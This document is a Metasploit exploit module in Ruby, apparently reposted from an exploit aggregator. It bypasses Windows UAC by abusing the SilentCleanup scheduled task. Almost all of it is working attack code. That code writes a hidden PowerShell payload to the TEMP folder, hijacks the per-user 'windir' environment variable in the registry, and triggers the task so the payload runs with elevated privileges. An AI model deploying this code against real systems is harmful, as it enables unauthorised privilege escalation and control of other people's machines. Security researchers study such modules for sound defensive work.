Share
## https://sploitus.com/exploit?id=1337DAY-ID-32920
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',
      'Description'          => %q{
        There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
        When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
        %windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.
      },
      'License'              => MSF_LICENSE,
      'Author'               => [
        'tyranid', # Discovery
        'enigma0x3', # Discovery
        'nyshone69', # Discovery
        'Carter Brainerd (cbrnrd)' # Metasploit Module
      ],
      'Platform'             => ['win'],
      'SessionTypes'         => ['meterpreter', 'shell'],
      'Arch'                 => [ARCH_X86, ARCH_X64],
      'Targets'              => [['Microsoft Windows', {}]],
      'DisclosureDate'       => 'Feb 24 2019',
      'References'           => [
        ['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],
        ['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],
        ['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],
        ['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']
      ]
    ))

    register_options(
      [
        OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),
        OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])
      ])
  end

  def get_bypass_script(cmd)
    scr = %Q{
      if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
        #{cmd}
      } else {
          $registryPath = "HKCU:\\Environment"
          $Name = "windir"
          $Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"
          Set-ItemProperty -Path $registryPath -Name $name -Value $Value
          #Depending on the performance of the machine, some sleep time may be required before or after schtasks
          Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}
          schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null
          Remove-ItemProperty -Path $registryPath -Name $name
      }
    }
    vprint_status(scr)
    scr
  end

  def exploit
    check_permissions

    e_vars = get_envs('TEMP')
    payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"

    # Write it to disk, run, delete
    upload_payload_ps1(payload_fp)
    vprint_good("Payload uploaded to #{payload_fp}")

    cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")
  end

  def check_permissions
    # Check if you are an admin
    case is_in_admin_group?
    when nil
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    when true
      print_good('Part of Administrators group! Continuing...')
    when false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  def upload_payload_ps1(filepath)
    pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    begin
      vprint_status('Uploading payload PS1...')
      write_file(filepath, get_bypass_script(pld))
      register_file_for_cleanup(filepath)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")
    end
  end
end